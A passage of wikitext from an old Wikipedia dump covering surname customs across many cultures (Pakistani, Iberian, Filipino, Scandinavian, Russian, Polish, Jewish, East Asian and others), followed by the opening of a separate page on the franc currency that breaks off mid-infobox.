Muslim surnames include those of [[Arab]] heritage, e.g. ''[[Shaikh]]'', ''[[Siddiqui]]'', ''[[Abbasi]]'', ''[[Syed]]'', ''[[Farooqi]]'', ''[[Osmani]]'', ''[[Alavi]]'', ''[[Hassani]]'', ''[[Hussaini]]'', and ''Suhrawardi''. ''[[Khan]]'' is the most common surname in [[Pakistan]] and [[Afghanistan]] indicating [[Turkic peoples|Turkish]], [[Mongol]] and [[Central Asia]]n ancestory. Other family names indicating [[Turkic peoples|Turkish]] heritage include ''[[Mughal]]'', ''Mirza'', ''Baig'' or ''Beg'', ''[[Pasha]]'', and ''[[Barlas]]''. People claiming [[Iran]]ian ancestry include those with family names ''Agha'', ''Firdausi'', ''Ghazali'', ''Hamadani'', ''Isfahani'', ''Kashani'', ''Kermani'', ''Khorasani'', ''Mir'', ''Montazeri'', ''Nishapuri'', ''Noorani'', ''[[Qizilbash]]'', ''Saadi'', ''Sabzvari'', ''Shirazi'', ''Sistani'', ''Yazdani'', ''Zahedi'', and ''Zand''.

Tribal names include ''Afaqi'', ''Afridi'', ''Amini'', ''Ashrafkhel'', ''Awan'', ''Bajwa'', ''Baloch'', ''Barakzai'', ''Baranzai'', ''Bhatti'', ''Bhutto'', ''Bijarani'', ''Bizenjo'', ''Brohi'', ''Bugti'', ''Butt'', ''Ghaznavi'', ''Ghilzai'', ''Gikchi'', ''Jakhrani'', ''Jamali'', ''Jamote'', ''Janjua'', ''Jatoi'', ''Joyo'', ''Junejo'', ''Karmazkhel'', ''Kayani'', ''Khar'', ''Khuhro'', ''Lakhani'', ''Leghari'', ''Lodhi'', ''Magsi'', ''Malik'', ''Mandokhel'', ''Mengal'', ''Palijo'', ''Panhwar'', ''Popalzai'', ''Rabbani'', ''Raisani'', ''Rakhshani'', ''Rathore'', ''Soomro'', ''Sulaimankhel'', ''Talpur'', ''Thebo'', and ''Zamani''.

==Portugal and Brazil==
{{details|Iberian naming customs}}

The [[Portugal|Portuguese]] order of surnames is the reverse of the Spanish one.  Each person has at least two family names: the first is the maternal family name; the last is the paternal family name. A person can have up to six names (two first names and four surnames &amp;mdash; he or she may have two names from the mother and two from the father). In [[Brazil]] the rule is the same except that it is now very common for a person to have only one family name, the paternal one. In the ancient ages the patronymicum was commonly used &amp;mdash; surnames like ''Gonçalves'' (&quot;son of ''Gonçalo''&quot;), ''Fernandes'' (&quot;son of ''Fernando''&quot;), ''Nunes'' (&quot;son of Nuno&quot;) and many more are used today as usual family names. Brazilians usually call people only by their given names, omitting family names, even in many formal situations. When formality or a prefix requires a family name, the given name usually precedes the surname, e.g. ''João Santos'' (&quot;John Saints&quot;), or ''Sr. João Santos'' (&quot;Mr. John Saints&quot;).

==Spain and Hispanic areas==
{{details|Iberian naming customs}}

In medieval times, a patronymic system similar to the one still used in Iceland emerged.  For example, ''Álvaro'', the son of ''Rodrigo'' would be named ''Álvaro Rodríguez''.  His son, ''Juan'', would not be named ''Juan Rodríguez'', but ''Juan Álvarez''. Over time, many of these patronymics became family names and are some of the most common names in the Spanish-speaking world.  Other sources of surnames are personal appearance or habit, e.g. ''Delgado'' (&quot;thin&quot;) and ''Moreno'' (&quot;dark&quot;); occupations, e.g. ''Molinero'' (&quot;miller&quot;) and ''Guerrero'' (&quot;warrior&quot;); and geographic location or ethnicity, e.g. ''Alemán'' (&quot;German&quot;).

However, nowadays in Spain and in some countries of Hispanic culture (former Spanish colonies, e.g. México, Colombia, Venezuela), most people have two surnames, although in some situations only the first is used. The first surname is the paternal one, inherited from the father's paternal surname. The second surname is the maternal one, inherited from the mother's paternal surname. Since both surnames come from the paternal surnames of the previous generation, their transmission can be seen as a [[patriarchal]] feature of the Hispanic society. 

Depending on the country, the surnames may or may not be linked by the conjunction ''y'' (&quot;and&quot;), ''i'' (&quot;and&quot;, in [[Catalonia]]), ''de'' (&quot;of&quot;) and ''de la'' (&quot;of the&quot;, when the following word is feminine). However, in many South American countries people have now adopted the English-speaking custom, thus having a single surname (e.g. in [[Argentina]]). Sometimes a new father transmits his complete surname by creating a new one, combining his two surnames, e.g. the paternal surname of the son of ''Javier'' (given name) ''Reyes'' (paternal surname) ''de la Barrera'' (maternal surname) may become the new paternal surname ''Reyes de la Barrera''.

At present day in Spain, women upon marrying keep their two family names intact. In certain situations she may be addressed as if her maternal surname were substituted with her husbands paternal surname often linked with ''de''. For example, a woman named ''Ana García Díaz'', upon marrying ''Juan Guerrero Macías'', could be called ''Ana García de Guerrero''. This custom, begun in medieval times, is decaying and only has legal validity in [[Ecuador]]. In Ecuador, a couple can choose the order of their children's surnames. Most choose the traditional order (e.g. ''Guerrero García'' in the example above), but some invert the order, putting the mother's paternal surname first and the father's paternal surname last (e.g. ''García Guerrero'' from the example above). Such inversion, if chosen, must be maintained for all the children.

==The Philippines==
Until the middle of the 19th century, there was no standardization of surnames in the [[Philippines]].  There were native Filipinos without surnames, others whose surnames deliberately did not match that of their families, as well as those who took certain surnames simply because they had a certain prestige, usually ones dealing with the Roman Catholic religion, such as ''de los Santos'' and ''de la Cruz''.

In 1849, the Spanish governor [[Spanish Governor - Captain General of the Philippines|Narciso Clavería y Zaldúa]] decreed an end to these arbitrary practices, the result of which was the ''[[Catálogo Alfabético de Apellidos]]'' (&quot;Alphabetic Catalog of Surnames&quot;). The book contained many words coming from Spanish and the Philippine languages such as [[Tagalog language|Tagalog]].

The actual application of this decree varied from municipality to municipality. Some municipalities received only surnames starting with a particular letter. For example, the majority of residents of the island of [[Banton]] in [[Romblon|Romblon province]] have surnames starting with ''F'' such as ''Fabicon'', ''Fallarme'', ''Fadrilan'', and ''Ferran''. Thus, although there perhaps a majority of Filipinos have Spanish surnames, such a surname does not imply Spanish ancestry.

There are other sources for surnames. For example, in Muslim-dominated areas of the southern Philippines, surnames are usually of Arabic origin such as Hassan and Haradji.

Many Filipinos also have Chinese surnames which yield clues as to when their Chinese ancestor immigrated to the Philippines. For example, a hispanicized Chinese surname like ''Cojuangco'' suggests an 18th-century immigration while a Chinese surname like ''Lim'' suggests a relatively recent immigration. Some Chinese surnames like ''Tiu-Laurel'' are composed of the immigrant Chinese ancestor's surname as well as the name of that ancestor's godparent.

There are also Filipinos, particularly from rural tribes, who have no surnames at all.

The vast majority of Filipinos follow a naming system which is the reverse of the Spanish one. Children take the mother's surname as their [[middle name]], followed by their father's as their surname; for example, a son of ''Juan de la Cruz'' and his wife ''Maria Agbayani'' may be ''David Agbayani de la Cruz''. Women take the surnames of their husband upon marriage; so upon her marriage to ''David de la Cruz'', the full name of ''Laura Yuchengco Macaraeg'' would become ''Laura Yuchengco Macaraeg de la Cruz''.

==Iceland==
{{details|Icelandic name|Naming conventions of Iceland}}

In [[Iceland]], most people have no family name; a person's last name is a [[patronymic]], i.e. a modified form of the father's first name or, sometimes, the mother's. For example, when a man called ''Karl'' has a daughter called ''Anna'' and a son called ''Magnús'', their names will be ''Anna Karlsdóttir'' (&quot;daughter of Karl&quot;) and ''Magnús Karlsson'' (&quot;son of Karl&quot;).

== Finland ==
Most [[Finnish|Finns]] have surnames ending with ''-nen'', for example ''Räikkönen'', ''Häkkinen'', ''Lipponen'', etc. However, there is a considerable minority of surnames with suffixes like ''-mäki'' (&quot;-hill&quot;), ''-järvi'' (&quot;-lake&quot;), ''-joki'' (&quot;-river&quot;), that describes the place where an ancestor lived.

==Scandinavia==
In [[Scandinavia]] family names often, but certainly not always, originate from a patronymic. In [[Sweden]], the patronymic ending is -''sson'', e.g. ''Karlsson'' (&quot;Karl's son&quot;). In [[Denmark]] and [[Norway]], the corresponding ending is -''sen'', as in ''Karlsen''. Names ending with ''dotter/datter'' (daughter), such as ''Olofsdotter'', are rare but occurring, and only apply to females. Today, the patronymic names are passed on similarly to family names in other Western countries, and a person's father doesn't have to be called Karl if he or she has the surname Karlsson.

Before the 19th century there was the same system in Scandinavia as in Iceland today. Noble families, however, as a rule adopted a family name, which could refer to a presumed or real forefather (e.g. Earl [[Birger Magnusson]] ''[[Folkung]]e'') or to the family's [[coat of arms]] (e.g. King [[Gustav Vasa|Gustav Eriksson]] ''[[House of Vasa|Vasa]]''). In many surviving family noble names, such as ''Cederqvist'' (&quot;cedar-twig&quot;) or ''Stiernhielm'' (&quot;star-helmet&quot;), the spelling is obsolete, but since it applies to a name, remains unchanged.

Later on, people from the Scandinavian middle classes, particularly artisans and  town dwellers, adopted names in a similar fashion to that of the nobility. Family names such as the Swedish ''Bergman'', ''Holmberg'', ''Lindgren'', ''Sandström'' and ''Åkerlund'' were quite frequent and remain common today. The same is true for similar Norwegian and Danish names.

These names often indicated the place of residence of the family. For this reason, Denmark and Norway have a very high incidence of names derived from those of farms, many signified by the suffix -''gaard'' -- the modern spelling is ''gård'' in Danish and has changed to ''gard'' in Norwegian, but as in Sweden, archaic spelling persists in surnames. The most well-known example of this kind of surname is probably ''[[Søren Kierkegaard|Kierkegaard]]'' (original meaning: ''the farm located by the Church'' or also ''churchyard'' and ''cemetary'' [although this is unlikely in the context] which, with ''kierke'', actually includes two archaic spellings), but many others could be cited. It should also be noted that, since the names in question are derived from the original owners' domiciles, the possession of this kind of name is no longer an indicator of affinity with others who bear it.

In many cases, names were taken from the nature around them.  A family name such as &quot;Dahlgren&quot; is dervied from &quot;dahl&quot; meaning valley and &quot;gren&quot; meaning branch.

==The Netherlands==
Many [[Netherlands|Dutch]] names start with a prefix like ''van'' (&quot;of/from&quot;), ''de''/''het''/''&lt;nowiki&gt;'&lt;/nowiki&gt;t'' (&quot;the&quot;), ''der'' (&quot;of the&quot;), ''van de'' (&quot;of the/from the&quot;), and ''in het'' (&quot;in the&quot;). Examples are ''&lt;nowiki&gt;'&lt;/nowiki&gt;t Hooft'' (&quot;the head&quot;), ''de Groot'' (&quot;the great&quot;), ''van Rijn'' (&quot;from Rhine&quot;). These prefixes are not spelled with a capital when used in combination with the first name, e.g. ''Piet de Groot''. When written without first name, a capital is used, e.g., ''Mr. Van Rijn''. In name directories, the prefixes are always ignored for sorting. Many Dutch surnames originated from different personal qualities, geographical locations, and occupations. Surnames were not required until 1811 when Napoleon invaded the Netherlands. Before 1811, many Dutch people used their first name plus their father's name.

==Belgium==
Since [[Belgium]] has three official languages &amp;mdash; Dutch, French and German &amp;mdash; Belgian names are similar to those in the neighbouring countries: the Netherlands, France and Germany. Some differences exist: for example, Belgian Dutch names (Flemish names) commonly have prefixes as mentioned [[#The Netherlands|above]], except that the prefixes usually always start with a capital letter, and are often written connected to the main word. Thus, ''de Bakker'' or ''van der Steen'' is probably Dutch while ''De Bakker'' and ''Vandersteen'' are Belgian, although names, which have older spellings like ''De Backer'', are more common. The most common Flemish surnames are ''Peeters'', ''Janssens'', ''Maes'', ''Jacobs'', ''Willems'', ''Mertens'', ''Claes'', ''Wouters'', ''Goossens'', and ''De Smet''. Flemish family names often resemble first names, e.g. the following first names relate to above surnames: e.g. ''Peter'', ''Jan'', ''Jacob'', ''Willem'', ''Maarten'', ''Klaas'', and ''Wouter''. The trailing ''s'' reportedly once meant &quot;son of&quot;, so ''Willems'' would be &quot;Willem's son&quot;. Furthermore ancient spelling remains visible in many names, e.g. usage of ''c'' instead of ''k'' and ''ae'' instead of ''aa'' (compare ''Claes'' with ''Klaas''). The most common [[Walloons|Walloonian]] (French Belgian) names are ''Dubois'', ''Lambert'', ''Martin'', ''Dupont'', ''Dumont'', ''Leclercq'', ''Simon'', ''Laurent'', ''Lejeune'', and ''Renard''.

==Russia==
A full [[Russians|Russian]] name consists of personal (given) name, patronymic, and family name (surname).

Most Russian family names originated from patronymics, that is, father's name in the genitive case (usually formed by adding the genetive suffix ''-ov(a)'' or ''-ev(a)''). Contemporaty patronymics, however, have additional suffixes ''-ich'' or ''-na'' for masculine or feminine, respectively.

For example, the proverbial triad of most common Russian surnames follows:
*''Ivan'''ov''''' (&quot;son of ''Ivan''&quot;),
*''Petr'''ov''''' (&quot;son of ''Petr''&quot;),
*''Sidor'''ov''''' (&quot;son of ''Sidor''&quot;).

Feminine forms of these surnames have the ending ''-a'':
*''Ivanov'''a''''' (&quot;''Ivan's'' daughter&quot;),
*''Petrov'''a''''' (&quot;''Petr's'' daughter&quot;),
*''Sidorov'''a''''' (&quot;''Sidor's'' daughter&quot;).

Such a pattern of name formation is not unique to Russia or even to the Eastern and Southern Slavs in general; quite common are also names derived from professions, places of origin, and personal characteristics, with various suffixes (e.g. ''-in(a)'' and ''-sky (-skaia)'').

Professions:
* ''kuznets'' (&quot;[[Smith (metalwork)|smith]]&quot;) → ''Kuznetsov''—''Kuznetsova''
* ''portnoi'' (&quot;[[tailor]]&quot;) → ''Portnov''—''Portnova''
* ''pastukh'' (&quot;[[shepherd]]&quot;) → ''Pastukhov''—''Pastukhova''

Places of origin:
* ''Moskva'' (&quot;[[Moscow]]&quot;) → ''Moskvin''—''Moskvina'',
* ''Smolensk'' → ''Smolensky''—''Smolenskaia'',
* ''Riazan'' → ''Riazanov''—''Riazanova'',

Personal characteristics:
* ''tolsty'' (&quot;fat&quot;) → ''Tolstov''—''Tolstova'', ''Tolstoy''—''Tolstaya'',
* ''nose'' (&quot;big&quot;), ''nos'' → ''Nosov''—''Nosova'',
* ''sedoi'' (&quot;grey&quot;) → ''Sedov''—''Sedova''.

A considerable number of “artificial” names exists, for example, those given to seminary graduates; such names were based on major Orthodox holy days or Christian virtues.

Major Orthodox holy days:
* ''rozhdestvo'' (&quot;Christmas&quot;) → ''Rozhdestvensky''—''Rozhdestvenskaia'',
* ''voskresenie'' (&quot;Resurrection&quot;) → ''Voskresensky''—''Voskresenskaia'',
* ''uspenie'' (&quot;Assumption&quot;) → ''Uspensky''—''Uspenskaia'',

Christian virtues:
* ''philagathos'' (&quot;one who loves goodness&quot;) → ''Dobrolubov''—''Dobrolubova'', ''Dobrolubsky''—''Dobrolubskaia'',
* ''philosophos'' (&quot;one who loves wisdom&quot;) → ''Lubomudrov''—''Lubomudrova'',
* ''theophilos'' (&quot;one who loves God&quot;) → ''Bogolubov''—''Bogolubova''.

Many freed serfs were given surnames after those of their former owners. For example, a serf of the [[Demidov]] family might be named ''Demidovsky'', which translates roughly as &quot;belonging to Demidov&quot; or &quot;one of Demidov's bunch&quot;.

Grammatically, Russian family names follow the same rules as other nouns, with exceptions: some names do not change in different cases and have the same form in both genders (for example, ''Sedykh'').

==Poland==
{{details|Polish surnames}}

In [[Poland]] and most of the former [[Polish-Lithuanian Commonwealth]] the surnames first appeared in late Middle Ages. They initially denoted the differences between various people living in the same town or village and bearing the same name. The conventions were similar to those of English surnames, using denoting occupations, patronymic descent, geographic origins, or personal characteristics. Thus, early surnames indicating occupation include ''Karczmarz'' (&quot;innkeeper&quot;), ''Kowal'' (&quot;blacksmith&quot;), and ''Bednarczyk'' (&quot;young cooper&quot;), while those indicating patronymic descent include ''Szczepaniak'' (&quot;Son of ''Szczepan''), ''Józefski'' (&quot;Son of ''Józef''), and ''Ka&amp;#378;mirkiewicz'' (&quot;Son of ''Kazimierz''&quot;). Similarly, early surnames like ''Mazur'' (&quot;the one from [[Masovia]]&quot;) indicated geographic origin, while ones like ''Nowak'' (&quot;the new one&quot;), ''Bia&amp;#322;y'' (&quot;the pale one&quot;), and ''Wielgus'' (&quot;the big one&quot;) indicated personal characteristics.

In the early 16th century, geographical names became common, especially among the ''[[szlachta]]''. Initially, the surnames were in a form of &quot;[first name] ''z'' (&quot;of&quot;) [location]&quot;, e.g. ''[[Jan z Kolna]]'' (&quot;John of [[Kolno]]&quot;). Later, most surnames were changed to adjective forms, e.g. ''Jakub Wi&amp;#347;licki'' (&quot;James of [[Wisla|Wis&amp;#322;a]]&quot;) and ''[[Zbigniew Olesnicki|Zbigniew Ole&amp;#347;nicki]]'' (&quot;''Zbigniew'' of [[Olesnica|Ole&amp;#347;nica]]&quot;), with masculine [[suffix]]es ''-ski'', ''-cki'' and ''-dzki'' or respective feminine suffixes ''-ska'', ''-cka'' and ''-dzka''. Names formed this way are adjectives grammatically, and therefore change their form depending on gender. ''Jan Kowalski'' and ''Maria Kowalska'' are collectively the plural ''Kowalscy''.

Names with masculine suffixes ''-ski'', ''-cki'', and ''-dzki'', and corresponding feminine suffixes ''-ska'', ''-cka'', and ''-dzka'' became associated with noble origin. Many people from lower classes successively changed their surnames to fit this pattern. This produced many ''Kowalski''s, ''Bednarski''s, ''Kaczmarski''s and so on. Today, although most Polish speakers do not know about noble associations of ''-ski'' endings, such names still sound somehow better to them.

A separate class of surnames derive from the names of [[szlachta]]s [[coat of arms|coats of arms]]. These are used either as separate names or the first part of a double-barrelled name. Thus, persons named ''Jan Nieczuja'' and ''Krzysztof Nieczuja-Machocki'' might be related. Similarly, after [[World War I]] and [[World War II]], many members of [[Polish Secret State|Polish underground organizations]] adopted their [[nom de guerre|war-time pseudonyms]] as the first part of their surnames. ''Edward Rydz'' thus became [[Marshal of Poland]] ''[[Edward Smigly-Rydz|Edward &amp;#346;mig&amp;#322;y-Rydz]]'' and ''Jan Nowak'' became ''[[Jan Nowak-Jezioranski|Jan Nowak-Jeziora&amp;#324;ski]]''.

==Ashkenazi Jewish surnames==
Until a few hundred years ago, [[Ashkenazi]]m ([[Jew]]s from Northern and Eastern Europe) followed no tradition of surnames, but used patronymics within the [[synagogue]], and [[matronymic]]s in other venues. For example, a boy named ''Joseph'' of a father named ''Isaac'' would be called to the [[Torah]] as ''Joseph ben Isaac''. That same boy of a mother named ''Rachel'' would be known in business as ''Joseph ben Rachel''. A male used the [[Hebrew language|Hebrew]] word ''ben'' (&quot;son&quot;) and a female used ''bat'' (&quot;daughter&quot;).

When Northern European countries legislated that Jews required &quot;proper&quot; surnames, Jews were left with a number of options. Many Jews (particularly in [[Austria]], [[Prussia]], and Russia) were forced to adopt [[German language|Germanic]] names.  In 1781, [[Joseph II, Holy Roman Emperor|Emperor Joseph II of Austria]] announced an ''[[Edict of Toleration]]'' for the Jews, which established the requirement for hereditary family names.  The Jews of [[Galicia (Central Europe)|Galicia]] did not adopt surnames until 1785.  He issued a law in 1787 which assumed that all Jews were to adopt German names. The city [[mayor]]s were to choose the name for every Jewish family. A fee was charged for names related to precious metals and flowers, while free surnames were usually connected to animals and common metals. 

Many took [[Yiddish]] names derived from occupation (e.g. ''Goldschmidt'' &quot;Gold-smith&quot;), from their father (e.g. ''Jacobson''), or from location (e.g. ''[[Berlin]]er'', ''[[Warsaw|Warszawski]]'' or ''[[Pinsk]]er''). This makes Ashkenazi surnames similar to Scandinavian and especially Swedish ones.

Many Jews also took names of their Jewish lineage. A person of [[Kohen|Priestly (Cohanite)]] decent could take the last name related to his lineage (e.g. ''Cohen'' - Hebrew/Yiddish or ''Colons'' - Spanish). If a Jew was a descendant of the [[Levite]]s, then he could take a surname like ''Lavine'' or ''Levenson''.

&lt;!-- When? --&gt;In [[Prussia]], special military commissions were created to choose the names. It became common that the poorer Jews were forced to adopt derogatory, offensive or simply bizarre names. Among those created by [[Ernst Theodor Amadeus Hoffmann]] were:
* ''Ochsenschwanz'' (&quot;[[oxtail]]&quot;)
* ''Temperaturwechsel'' (&quot;temperature glitch&quot;)
* ''Kanalgeruch'' (&quot;sewer stink&quot;)
* ''Singmirwas'' (&quot;sing me something&quot;)

The [[List of Polish Jews|Jews of Poland]] adopted names much earlier. Those who were adopted by a ''[[szlachta]]'' family usually changed the name to that of the family. [[Religious conversion|Christened Jews]] usually adopted either a common Polish name or a name created after the month of their [[baptism]]. Thus, many [[Jacob Frank|Frankists]] adopted the name ''Majewski'' after the month of May in [[1759]].

Both the given names and surnames of Ashkenazim today may be completely European in origin, though many will also possess a traditional Hebrew name for use only in the [[synagogue]].

==Romania==
In [[Romania]] family names traditionally have an English-like usage: a child inherits his father's family name, and a wife takes her husband's last name. There are however exceptions and social pressure to follow this tradition is not particularly strong in most families.

Until the [[19th century]], the names were primarily of the form &quot;[given name] [father's name] [grandfather's name]&quot;. The few exceptions are usually famous people or the nobility (boyars). The name reform introduced around 1850, had the names changed to a western style, most likely imported from France, consisting of a given name followed by a family name.

As such, the name is called ''prenume'' (French ''prénom''), while the family name is called ''nume'' or, when otherwise ambiguous, ''nume de familie'' (&quot;family name&quot;). Although not mandatory, middle names (Romanian ''numele mic'', literally, &quot;small name&quot;) are common. 

Historically, when the family name reform was introduced in the mid 19th century, the default was to use a [[patronym]], or a [[matronym]] when the father was dead or unknown. The typical derivation was to append the suffix ''-escu'' to the father's name, e.g. ''Anghelescu'' (&quot;''Anghel's'' child&quot;) and ''Petrescu'' (&quot;''Petre's'' child&quot;). The other common derivation was to append the suffix ''-eanu'' to the name of the place of origin, especially when one came from a different region, e.g. ''Munteanu'' (&quot;from ''Munte'') and ''Moldova'' (&quot;from ''Moldoveanu''). These uniquely Romanian suffixes strongly identify ancestoral nationality. 

There are also descriptive family names derived from occupations, nicknames, and events, e.g. ''Botezatu'' (&quot;baptised&quot;), ''Barbu'' (&quot;bushy bearded&quot;), ''Prodan'' (&quot;foster&quot;), ''Bălan'' (&quot;blond&quot;), and ''Fieraru'' (&quot;smith&quot;).

Romanian family names remain the same regardless of the sex of the person. In contrast, most Slavic languages add the suffix ''-a'' to the family names of women.

Although given names appear before family names in most Romanian contexts, official documents invert the order, ostensibly for filing purposes. Correspondingly, Romanians often introduce themselves with their family names first, especially in official contexts, e.g. a student signing a test paper in school.

==India and Indonesia==
:''For more details on this topic, see [[Indian family name]] and [[Indonesian names]].''

Some parts of [[India]] and [[Indonesia]] have similar patronymic customs. A patronymic system is often followed in southern regions of India, wherein a wife or child takes the given name of the husband or father. Village names are also often used, but the family name is crucial in north India as it links a person to their [[caste]] and clan. 

The status equality of men and women in the [[Sikh]] religion extends to unisex names. If gender clarification is required, the words ''singh'' (&quot;lion&quot;) and ''Kaur'' (&quot;princess&quot;) can be added to the otherwise unisex names of men and women, respectively.

==Ethiopia/Eritrea==
The patronymic custom in most of [[Ethiopia]] and [[Eritrea]] gives children the father's exact first name as their surname.

Common [[Tigrinya]] names include ''Gebrezghi'' (&quot;worker of God&quot;), ''Hailesellasie'' (&quot;power of the Trinity&quot;), ''Hailemariam'' (&quot;power of the Virgin Mary&quot;), ''Desta'' (&quot;joy&quot;), ''Abraha'' (&quot;bright&quot;), ''Araya'' (&quot;example&quot;), ''Berhane'' (&quot;light&quot;), ''Hagos'' (&quot;happiness&quot;), ''Gebremichael'' (&quot;work of Michael&quot;), ''Demoz'' (&quot;salary&quot;, &quot;gift&quot;), and ''Tewoldeberhan'' (&quot;son of light&quot;)

==China, Hungary, Japan, Korea, and Vietnam==
:''For more details on this topic, see [[Chinese family name]], [[Korean name#Family names]], [[Japanese name]], and [[Vietnamese name]].''

In [[China|Chinese]], [[Japan]]ese, [[Korea|Korean]], [[Vietnam|Vietnamese]], and [[Hungary|Hungarian]] cultures, the family name is placed before the given names. So the terms &quot;first name&quot; and &quot;last name&quot; are potentially confusing and should be avoided, as they do not in this case denote the given and family names respectively.

Some Chinese add an English given name in front of their Chinese name, e.g. ''[[Martin Lee Chu-ming|Martin L&lt;small&gt;EE&lt;/small&gt; Chu-ming]]''. In addition, many [[Chinese American]]s have an English first name which is commonly used and a Chinese name which is used as a middle name, e.g. ''Martin Chu-ming Lee''. Chinese living in the US may rearrange their names when written in English to avoid misunderstanding. However, some well-known Chinese names remain in the traditional order even in English literature, e.g. ''[[Mao Zedong]]''.

Vietnamese names are generally stated in East Asian order (family name first) even when writing in English. Names of Hungarian individuals appear in Western order in English writing. Koreans write their name either way when writing in English. The Ministry of Culture and Tourism says, &quot;Personal names are written by family name first, followed by a space and the given name&quot;. In practice, however, given name first seems to be more common.

In English writings originating from non-English cultures (e.g. English newspapers in China), the family name is often written with all capital letters to avoid being mistaken as a middle name, e.g. ''Martin LEE Chu-ming'' or using small capitals, as ''Martin L&lt;small&gt;EE&lt;/small&gt; Chu-ming'' or with a comma, as ''[[Akutagawa Ryunosuke|AKUTAGAWA, Ryunosuke]]'' to make clear which name is the family name. Such practice is particularly common in mass-media reporting international events like the [[Olympic Games]]. ''[http://www.cia.gov/cia/publications/factbook/docs/notesanddefs.html The CIA World Factbook]'' stated that &quot;The ''Factbook'' capitalizes the surname or family name of individuals for the convenience of [their] users who are faced with a world of different cultures and naming conventions.&quot;  For example, ''[[Leslie Cheung|Leslie Cheung Kwok Wing]]'' might be mistaken as Mr. Wing by readers unaware of Chinese naming conventions. 

Vietnamese family names present an added complication. Like Chinese family names, they are placed at the beginning of a name, but unlike Chinese names, they are not usually the primary form of address. Rather, people will be referred to by their given name, usually accompanied by an honorific. For example, [[Phan Van Khai]] is properly addressed as ''Mr. Khai'', even though ''Phan'' is his family name. This pattern contrasts with that of most other East Asian naming conventions.

In Japan, women surrender their surnames upon marriage, and use the surnames of their husbands. However, a convention that a man uses his wife's family name if the wife is an only child is sometimes observed.  A similar tradition called ''ru zhui'' (&amp;#20837;&amp;#36101;) is common among Chinese when the bride's family is wealthy and has no son but wants the heir to pass on their assets under the same family name.  The Chinese character ''zhui'' (&amp;#36101;) carries a money [[Radical (Chinese character)|radical]] (&amp;#35997;), which implies that this tradition was originally based on financial reasons.  All their offspring carry the mother's family name.  If the groom is the first born with an obligation to carry his own ancestor's name, a compromise may be reached in that the first male child carries the mother's family name while subsequent offspring carry the father's family name.  The tradition is still in use in many Chinese communities outside of [[mainland China]].  Under [[Mao Zedong]]'s communist rule, Chinese citizens had no personal assets to pass to their heirs therefore such traditions became unnecessary. It is uncertain whether [[Chinese economic reform]] will revive such tradition.

In [[Hong Kong]], mainland China, Korea, and [[Taiwan]], women keep their own surnames, while the family as a whole is referred to by the surnames of the husbands.  

In Hong Kong, some women would be known to the public with the surnames of their husbands preceding their own surnames, such as [[Anson Chan|Anson Chan Fang On Sang]].  Anson is an English given name, On Sang is the given name in Chinese, Chan is the surname of Anson's husband, and Fang is her own surname.  A name change on legal documents is not a must.

In [[Macau]], some people have their names in Portuguese spelt with some [[Portuguese language|Portuguese]] style, such as [http://carlos.com.hk/carlos.htm Carlos do Rosario Tchiang].

Chinese women in [[Canada]], especially [[Hongkonger]]s in [[Toronto]], would preserve their [[maiden name]]s before the surnames of their husbands when written in English, for instance Rosa Chan Leung, where Chan is the maiden name, and Leung is the surname of the husband.

In [[Chinese language|Chinese]] and [[Korean language|Korean]], surnames are predominantly monosyllabic (written with one [[hanzi|character]]), though a small number of common [[Chinese compound surname|disyllabic (or written with two characters) surnames]] exists (e.g. the Chinese name ''Ou Yang'', the Korean name ''Namgung'').

==Mongolia==
In [[Mongolia]], it is customary for children to take the first name of their father as their surname. For example the name ''Tselmuun Zorigoo'' indicates that the person's father's first name is ''Zorigoo''.

==See also==
{{wiktionarypar|Appendix:Names}}

* [[List of most common surnames]]
* [[Family name etymology]], [[German family name etymology]]
* [[Family name affixes]]
* [[List of common Chinese surnames]]
* [[List of Jewish surnames]]
* [[List of Middle Eastern surnames]]
* [[List of Eastern European surnames]]
* [[List of Italian surnames]]
* [[List of Central Asian, Iranian, Caucasian and Tatar surnames]]
* [[List of South Asian surnames]]
* [[List of Southeast Asian surnames]]
* [[List of Hispanic and Romance-speaking cultures surnames]]
* [[List of Germanic-speaking cultures surnames]]
* [[List of Swedish surnames]]
* [[List of African surnames]]
* [[Family history]]

* [[Patronymic]]
* [[Personal name]]
* [[Nickname]]
* [[Maiden name]]
* [[Legal name]]

==External links==
* ''[http://genealogy.about.com/library/surnames/bl_meaning.htm Glossary of Surname Meanings &amp; Origins]''
* ''[http://www.volkmar-weiss.de/inbreeding.html Inbreeding and genetic distance between hierarchically structured populations measured by surname frequencies]''
* ''[http://www.polishroots.org/surnames/surnames_endings.htm Short explanation of Polish surname endings and their origin]''
* ''[http://www.searchforancestors.com/surnames/origin/ Dictionary of Surname Origins and Last Name Meanings]''
* ''[http://www.mydanishroots.com/surnames/in_denmark.html Surnames in Denmark - Naming Traditions, Meaning, and Origin]''
* ''[http://www.shtetlinks.jewishgen.org/Kolomea/nameorigin.htm History of Jewish family Names]''
*''[http://www.ancestryconnections.com Search for specific Surnames]''
*''[http://www.data-wales.co.uk/names.htm Data Wales Surnames]''
*''[http://www.amlwchdata.co.uk/welsh_names_and_meaning.htm Welsh surnames and their meaning]''
*''[http://names.orangehedgehog.com British Surname Distribution Profiles]''

[[Category:Naming conventions]]
[[Category:Surnames| ]]

[[br:Anv-familh]]
[[da:Efternavn]]
[[de:Familienname]]
[[eo:Familia nomo]]
[[es:Apellido]]
[[fr:Nom de famille]]
[[id:Marga]]
[[it:Cognome]]
[[ja:姓]]
[[nl:Achternaam]]
[[nn:slektsnamn]]
[[pl:Nazwisko]]
[[pt:Sobrenome]]
[[ru:Фамилия]]
[[fi:Sukunimi]]
[[sv:Efternamn]]
[[vi:Họ (người)]]
[[zh:姓氏]]</text>
    </revision>
  </page>
  <page>
    <title>Franc</title>
    <id>10815</id>
    <revision>
      <id>41950171</id>
      <timestamp>2006-03-02T20:59:58Z</timestamp>
      <contributor>
        <username>Schutz</username>
        <id>27196</id>
      </contributor>
      <comment>main article for Swiss franc; rm it from &quot;See also&quot;</comment>
      <text xml:space="preserve">{{otheruses}}
The '''franc''' is the name of several [[currency]] units, most notably for the former French francs. The name is said to derive from the [[Latin]] inscription ''francorum rex'' (&quot;King of the [[Franks]]&quot;) on early [[France|French]] [[coin]]s, or from the [[French language|French]] ''franc'', meaning &quot;free&quot;.

{| border=&quot;1&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; cellpading=&quot;2&quot;
|-
! bgcolor=pink colspan=2 | Franc
|- bgcolor=&quot;black&quot; align=&quot;center&quot;
| [[Image:1francosvizzero1983front.jpg|1 Swiss franc 1983 obverse]]
| [[Image:1francosvizzero1983back.jpg|1 Swiss franc 1983 reverse]]
|-
! colspan=&quot;2&quot; | 1 Swiss franc 1983
